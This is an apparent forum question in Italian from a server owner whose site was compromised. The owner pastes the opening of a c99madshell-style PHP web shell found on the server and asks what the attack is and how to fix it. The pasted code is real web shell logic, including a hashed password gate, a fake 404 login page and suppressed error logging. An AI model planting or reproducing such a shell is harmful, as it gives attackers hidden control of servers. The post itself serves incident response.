vulnerabilità nel server a causa dello script c99madshell [duplicato]

Qualcuno ha ottenuto l'accesso completo al mio server caricando un file php ed eseguendo una shell dal file. Ho cercato e ho scoperto che poteva essere uno script c99madshell.

I frammenti di codice del file assomigliano a:

$auth_pass = "f727df897cbcceea7022d3c8ec66ae29";  
$color = "#df5";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('display_errors',0);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', 'Ver 2.0');
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}
function printLogin() {
    echo '<title>404 Not Found</title>
          <h1>Not Found</h1>
          <p>The requested URL was not found on this server.</p>
          <hr>
          <address>Apache Server at '.$_SERVER['HTTP_HOST'].' Port 80</address>
          <style>input { margin:0;background-color:#fff;border:1px solid #fff; }</style>
          <form method=post><input type=password name=pass></form>';
    exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
    if( empty( $auth_pass ) ||
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else
        printLogin();

if( strtolower( substr(PHP_OS,0,3) ) == "win" )
    $os = 'win';
else
    $os = 'nix';

Di seguito è riportato il link del file completo. link

Qualcuno può aiutarmi a capire quale tipo di attacco è, quali minacce possiede e quali rimedi? Penso che questo sia un tipo particolare di attacco già affrontato da molti. Gradirei molto se qualcuno potesse indicarmi la direzione per risolvere questo caso particolare. Grazie